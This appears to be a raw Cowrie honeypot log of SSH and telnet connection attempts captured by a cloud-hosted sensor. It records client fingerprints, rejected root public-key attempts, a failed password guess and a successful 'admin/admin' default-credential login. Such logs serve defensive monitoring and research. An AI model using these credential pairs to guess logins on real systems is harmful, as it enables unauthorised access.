{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:03.661906Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:03.731184Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:94:e7:e7:16:ac:4e:b9:09:30:69:ad:bb:a3:f7:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tE0jbVX9K23ZosT8E2nrlKi5toENS61u3iG8+IEiLICAfoeBdGnpYdjHdeFSfdsZdKHyJUW1bqri47FQKU2Zq45c3m6mm1VVGll/CZ8s+SCPhDibq9jTOZd+PT8UhDy0G/6NqjbX4EZQV9lZvZOyqNze7SYQ10wE/XBBSyTJwcOlQ+R05p25Xl20EaP/DNVjG2I2NB/a8UtQCoiQURbIBT1cJ9Okc8Upr+UUpFkloj02Hon7DNvA+hu8gXRoi2z0g2VlMY/PofmfRH/IjQPzEwKnnBxgKFMix7HuXYKJJ68RWH/VPAAEabXyxzoK7g50rCoRtmuQ25ghVXkqkrRR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:94:e7:e7:16:ac:4e:b9:09:30:69:ad:bb:a3:f7:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.047769Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:94:e7:e7:16:ac:4e:b9:09:30:69:ad:bb:a3:f7:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tE0jbVX9K23ZosT8E2nrlKi5toENS61u3iG8+IEiLICAfoeBdGnpYdjHdeFSfdsZdKHyJUW1bqri47FQKU2Zq45c3m6mm1VVGll/CZ8s+SCPhDibq9jTOZd+PT8UhDy0G/6NqjbX4EZQV9lZvZOyqNze7SYQ10wE/XBBSyTJwcOlQ+R05p25Xl20EaP/DNVjG2I2NB/a8UtQCoiQURbIBT1cJ9Okc8Upr+UUpFkloj02Hon7DNvA+hu8gXRoi2z0g2VlMY/PofmfRH/IjQPzEwKnnBxgKFMix7HuXYKJJ68RWH/VPAAEabXyxzoK7g50rCoRtmuQ25ghVXkqkrRR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.051250Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:e6:85:d9:aa:a3:86:73:52:72:75:8c:c9:63:8e:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWm7AWqwq6I+FKQ2e8P5b1Q8iTPym+0y1osupw+xjis+gi7kPSSMpWQWZPa+7gca50OlvLJ979OXRcYVP+XB+lATaSJKQoG36c4+nccOMB8KtYdT7b3Icy9rJu7w56caaMCP7b5g5MV4nF5y/1leCjzS7CgsQuX+HVLCVCHetIIPPOASsHoQbppBEhVHIZOEH0aJre2bbFc5BQqAm6bQr2bFy0sUNojcvVq2CxRHqSC8KwTy26/vhxM5BWIzVMB129b34etVEPzbpdZUc2uHtD/YNXeevkEiZXYsxCFLpa7SMfoBY0hTx3Ws9lBJ6ew2j0La9rjtPGx2zEKjilE7tpQ04OUF+XKHRKcG5N7oE5q+ULmA5yK4NbZg780egSJ6856SoKKLCkoJJHck5iD2BUBaQfIe7jTKenYsEpN6AFu+VcOEa+LHncPbZbrh4zbZ4w0/l2T7Ww1HqdaCrzhvTQMrVhmgfbJP/wkc3RF8x+WbnRf1SAwo8DDBziufdwsEuPH8azDkaRf1sOPYYFn73IAiv1tQl3pOj8ShRQtYrPeDHP7M47qcpyfBfuHhT21QhgBpvEXO9yULo+7+T3bIaXt3B5eKIlcYr0wnfT6i5Lfm7uUlQ4PEc0d7y3rhmdAYW+eJKVOiXDArd175Q0Geuqq5T39rfmIBvcAt5ZUgPBlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:e6:85:d9:aa:a3:86:73:52:72:75:8c:c9:63:8e:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.120565Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:e6:85:d9:aa:a3:86:73:52:72:75:8c:c9:63:8e:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWm7AWqwq6I+FKQ2e8P5b1Q8iTPym+0y1osupw+xjis+gi7kPSSMpWQWZPa+7gca50OlvLJ979OXRcYVP+XB+lATaSJKQoG36c4+nccOMB8KtYdT7b3Icy9rJu7w56caaMCP7b5g5MV4nF5y/1leCjzS7CgsQuX+HVLCVCHetIIPPOASsHoQbppBEhVHIZOEH0aJre2bbFc5BQqAm6bQr2bFy0sUNojcvVq2CxRHqSC8KwTy26/vhxM5BWIzVMB129b34etVEPzbpdZUc2uHtD/YNXeevkEiZXYsxCFLpa7SMfoBY0hTx3Ws9lBJ6ew2j0La9rjtPGx2zEKjilE7tpQ04OUF+XKHRKcG5N7oE5q+ULmA5yK4NbZg780egSJ6856SoKKLCkoJJHck5iD2BUBaQfIe7jTKenYsEpN6AFu+VcOEa+LHncPbZbrh4zbZ4w0/l2T7Ww1HqdaCrzhvTQMrVhmgfbJP/wkc3RF8x+WbnRf1SAwo8DDBziufdwsEuPH8azDkaRf1sOPYYFn73IAiv1tQl3pOj8ShRQtYrPeDHP7M47qcpyfBfuHhT21QhgBpvEXO9yULo+7+T3bIaXt3B5eKIlcYr0wnfT6i5Lfm7uUlQ4PEc0d7y3rhmdAYW+eJKVOiXDArd175Q0Geuqq5T39rfmIBvcAt5ZUgPBlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.124295Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:4a:ff:eb:4b:26:54:53:36:b4:17:89:a4:ce:60:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtxBj0PKOQ44U9+Vw9SaoaAPQEiASUe6J8zxQ5ARYP5szwDjta19b7pxkP0KHHITgPl8VtfMzjNE5Q6HWPY3x/cTyKQwnU1aOv7UCrGX9Duyx9I7D1xzv+8qAQDakfDxVX63QoWfSZZvSUj/K/WbR4kWruk8UXeI9vdCA1ils5aVgNuxQWImAjFkQy6HOOrpYXkZhSnN8eC5QVa0tbuzBTeeUC68Ib8E9yrowUHQGJ1PfKX1e9cAEZ9ogJe348kVAlRiE7vnPXjwzD8Ylr5zjw6eycGhLYG03kGPq1SVRnn80DQpvM9JW59dEfahS3dQI1x8YYAd5gL8zJTpRsLFkn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:4a:ff:eb:4b:26:54:53:36:b4:17:89:a4:ce:60:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.192774Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:4a:ff:eb:4b:26:54:53:36:b4:17:89:a4:ce:60:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtxBj0PKOQ44U9+Vw9SaoaAPQEiASUe6J8zxQ5ARYP5szwDjta19b7pxkP0KHHITgPl8VtfMzjNE5Q6HWPY3x/cTyKQwnU1aOv7UCrGX9Duyx9I7D1xzv+8qAQDakfDxVX63QoWfSZZvSUj/K/WbR4kWruk8UXeI9vdCA1ils5aVgNuxQWImAjFkQy6HOOrpYXkZhSnN8eC5QVa0tbuzBTeeUC68Ib8E9yrowUHQGJ1PfKX1e9cAEZ9ogJe348kVAlRiE7vnPXjwzD8Ylr5zjw6eycGhLYG03kGPq1SVRnn80DQpvM9JW59dEfahS3dQI1x8YYAd5gL8zJTpRsLFkn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.196476Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:e0:43:4d:9f:12:f2:5d:77:4f:77:b7:e8:da:f7:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6TvGgmUPuevlft+bYZnvUqiH5oIV7VMSmOZUpVSDUiIiB66R0EIsOKPwRwBOSdCGxVFa/MhRwzFQWMPjG4OrFNjspPwDlWAr377BI2KP+ZNFZPljTkD3+PpYCgjmAps6r6/4VrARNyg09onT7OKqHMPVow6ViaRqRhB8bsBvBHyVmmRRc81TJkQTm4CT9FL6ghQr9e9MwpU7rU/W+/PsCnGrW8FEzQzfIfCxpHSkUzv6hFSd01Dg3FeTBhQSoUFNGJSwk04nTq28czBqc2KlzSAIv0BHIFCEGCCAiPqhLJGEEG21fNWHdcEAhvDrp7V4DT2TuHZZ6128BuZBSkeUBMR1HZHb1RylmJn4/OEVHih3o6ZVGf3iJzXRp/+j6DCtVpZeRdopdgQvfOoyTy5s05gJwmFwwBMyFTl4nubwNm5Tc8rju6mVYmaeFEM8er4hSXOoN4M4Q4XHd5o221hvgHy8Ij1Qa8HxNICZCP75/9/w6Vsuc6980N/QegYG1x93pUBODRVDkCDqbsNAdNsbfCd1xkF++zCkL8DdqYIQHgaIEL1g96yc+OxgFrp8a7U446CivfUwY3dU/GQqLLxNRhj3bE0XpNqF6wE2V8cbmSHro83ai2Q27nheGAEJZbX2WrrP5P9/qsyLC1Vsu/PCVHF1z0AsdRjwZ9PdZXyhelQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:e0:43:4d:9f:12:f2:5d:77:4f:77:b7:e8:da:f7:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.272733Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:e0:43:4d:9f:12:f2:5d:77:4f:77:b7:e8:da:f7:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6TvGgmUPuevlft+bYZnvUqiH5oIV7VMSmOZUpVSDUiIiB66R0EIsOKPwRwBOSdCGxVFa/MhRwzFQWMPjG4OrFNjspPwDlWAr377BI2KP+ZNFZPljTkD3+PpYCgjmAps6r6/4VrARNyg09onT7OKqHMPVow6ViaRqRhB8bsBvBHyVmmRRc81TJkQTm4CT9FL6ghQr9e9MwpU7rU/W+/PsCnGrW8FEzQzfIfCxpHSkUzv6hFSd01Dg3FeTBhQSoUFNGJSwk04nTq28czBqc2KlzSAIv0BHIFCEGCCAiPqhLJGEEG21fNWHdcEAhvDrp7V4DT2TuHZZ6128BuZBSkeUBMR1HZHb1RylmJn4/OEVHih3o6ZVGf3iJzXRp/+j6DCtVpZeRdopdgQvfOoyTy5s05gJwmFwwBMyFTl4nubwNm5Tc8rju6mVYmaeFEM8er4hSXOoN4M4Q4XHd5o221hvgHy8Ij1Qa8HxNICZCP75/9/w6Vsuc6980N/QegYG1x93pUBODRVDkCDqbsNAdNsbfCd1xkF++zCkL8DdqYIQHgaIEL1g96yc+OxgFrp8a7U446CivfUwY3dU/GQqLLxNRhj3bE0XpNqF6wE2V8cbmSHro83ai2Q27nheGAEJZbX2WrrP5P9/qsyLC1Vsu/PCVHF1z0AsdRjwZ9PdZXyhelQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.276743Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:c7:b0:d2:69:98:55:c9:53:e2:27:2b:06:99:2d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkbHhWQCAa4ZJ8Pe94/wnOOGqoly4VvlYed9xt/S9XoXe2AOb3GbQO2n9TPT1P1nmnneqL7jeHwL4u6+Hbbp2ZxNfuNVe8ppl0nI0+yjRgQj6FVwZCHfPKHUdCdo821OfJ+8meWxJ8rjOg5DzmYzFtfG+yefcYVQIg0UQsVggQMCrPzGu2jLCqNw6n99OapRftqfeJf9rE5ghQNSfe6re1OvJ4xrxCPxYnnDHd7c5AflDbovH52vg3/D6hjhA9roz7RO+sgIgTOqc+eqLSft2UKIMPY0eBEGK9ePUKlvO5ySi9x2t5quI8DrRA0IlxJGJCHuNux+pztxoPK86pacXkV1RvHAuVkxmX8R/8TqNheLFlKmm9y8xC6uHNV2NPcqHhSKOIqyaX0OC3ISohOKY1I7cVyjx4o0gAmrXxFdJj2h3eLTUMrBYdxT/uggjH08Kv9W5JIBW/i1Q5wzKroRxiB1GIUzx0yUhKL6BsFI1rRw3uXVVgIGAOMIKZ3RPQq8xhfnrGlZ3LImkASuUj9qZrvmipdSn+ms5IZDj+BW5oAJK8qGVF7QYp0crJu6SsbuuxwzMJTkqTeCrnZ3tgrQSJ6MJHwKkns2sVPfH1ax4ytfrWg6l0wEbu2wKNk/xYEHOL/mL9xROivF48zYnTdL+9X3CSJqLpuPzkuZSRv4QE+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:c7:b0:d2:69:98:55:c9:53:e2:27:2b:06:99:2d:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.345331Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:c7:b0:d2:69:98:55:c9:53:e2:27:2b:06:99:2d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkbHhWQCAa4ZJ8Pe94/wnOOGqoly4VvlYed9xt/S9XoXe2AOb3GbQO2n9TPT1P1nmnneqL7jeHwL4u6+Hbbp2ZxNfuNVe8ppl0nI0+yjRgQj6FVwZCHfPKHUdCdo821OfJ+8meWxJ8rjOg5DzmYzFtfG+yefcYVQIg0UQsVggQMCrPzGu2jLCqNw6n99OapRftqfeJf9rE5ghQNSfe6re1OvJ4xrxCPxYnnDHd7c5AflDbovH52vg3/D6hjhA9roz7RO+sgIgTOqc+eqLSft2UKIMPY0eBEGK9ePUKlvO5ySi9x2t5quI8DrRA0IlxJGJCHuNux+pztxoPK86pacXkV1RvHAuVkxmX8R/8TqNheLFlKmm9y8xC6uHNV2NPcqHhSKOIqyaX0OC3ISohOKY1I7cVyjx4o0gAmrXxFdJj2h3eLTUMrBYdxT/uggjH08Kv9W5JIBW/i1Q5wzKroRxiB1GIUzx0yUhKL6BsFI1rRw3uXVVgIGAOMIKZ3RPQq8xhfnrGlZ3LImkASuUj9qZrvmipdSn+ms5IZDj+BW5oAJK8qGVF7QYp0crJu6SsbuuxwzMJTkqTeCrnZ3tgrQSJ6MJHwKkns2sVPfH1ax4ytfrWg6l0wEbu2wKNk/xYEHOL/mL9xROivF48zYnTdL+9X3CSJqLpuPzkuZSRv4QE+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.349347Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:04.418199Z","src_ip":"74.48.174.146","session":"2d52a2846986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"d537ca21b503","protocol":"telnet","message":"New connection: 50.6.8.71:57112 (10.17.0.5:23) [session: d537ca21b503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:10.617668Z"}
{"eventid":"cowrie.session.closed","duration":53.80741906166077,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:13.964725Z","src_ip":"50.6.8.71","session":"c697b86bad81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.820613861083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:14.629148Z","src_ip":"50.6.8.71","session":"46e79876ca73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57128,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa3ae8d10a7","protocol":"telnet","message":"New connection: 50.6.8.71:57128 (10.17.0.5:23) [session: bfa3ae8d10a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:15.741368Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40920,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8893d9515c9","protocol":"telnet","message":"New connection: 50.6.8.71:40920 (10.17.0.5:23) [session: d8893d9515c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:17.523848Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40914,"dst_ip":"10.17.0.5","dst_port":23,"session":"59984f26043b","protocol":"telnet","message":"New connection: 50.6.8.71:40914 (10.17.0.5:23) [session: 59984f26043b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:18.040657Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82b5d23d441","protocol":"telnet","message":"New connection: 50.6.8.71:40922 (10.17.0.5:23) [session: b82b5d23d441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:21.373811Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55404,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc70d11762a","protocol":"telnet","message":"New connection: 50.6.8.71:55404 (10.17.0.5:23) [session: edc70d11762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:31.681637Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37958,"dst_ip":"10.17.0.5","dst_port":23,"session":"7777542f6a0a","protocol":"telnet","message":"New connection: 50.6.8.71:37958 (10.17.0.5:23) [session: 7777542f6a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:40.504857Z"}
{"eventid":"cowrie.session.closed","duration":33.45457983016968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:44.072136Z","src_ip":"50.6.8.71","session":"d537ca21b503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60722,"dst_ip":"10.17.0.5","dst_port":23,"session":"bead33ee2d30","protocol":"telnet","message":"New connection: 50.6.8.71:60722 (10.17.0.5:23) [session: bead33ee2d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:48.869148Z"}
{"eventid":"cowrie.session.closed","duration":34.91252064704895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:50.653759Z","src_ip":"50.6.8.71","session":"bfa3ae8d10a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45316,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4aa6c6021c","protocol":"ssh","message":"New connection: 62.133.63.178:45316 (159.203.135.109:22) [session: 8b4aa6c6021c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:51.220093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:51.224868Z","src_ip":"62.133.63.178","session":"8b4aa6c6021c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:51.350939Z","src_ip":"62.133.63.178","session":"8b4aa6c6021c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:51.733265Z","src_ip":"62.133.63.178","session":"8b4aa6c6021c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:52.862650Z","src_ip":"62.133.63.178","session":"8b4aa6c6021c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39888644218445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:53.439386Z","src_ip":"50.6.8.71","session":"59984f26043b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60771822929382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:55.981446Z","src_ip":"50.6.8.71","session":"b82b5d23d441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.778945207595825,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:56.302670Z","src_ip":"50.6.8.71","session":"d8893d9515c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50778,"dst_ip":"10.17.0.5","dst_port":23,"session":"9202a73d48ab","protocol":"telnet","message":"New connection: 50.6.8.71:50778 (10.17.0.5:23) [session: 9202a73d48ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:57.555274Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:00.692962Z","src_ip":"47.77.182.54","session":"4251f3a988b1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:00.750572Z","src_ip":"47.77.182.54","session":"4251f3a988b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.021841049194336,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:06.703384Z","src_ip":"50.6.8.71","session":"edc70d11762a","protocol":"telnet"}
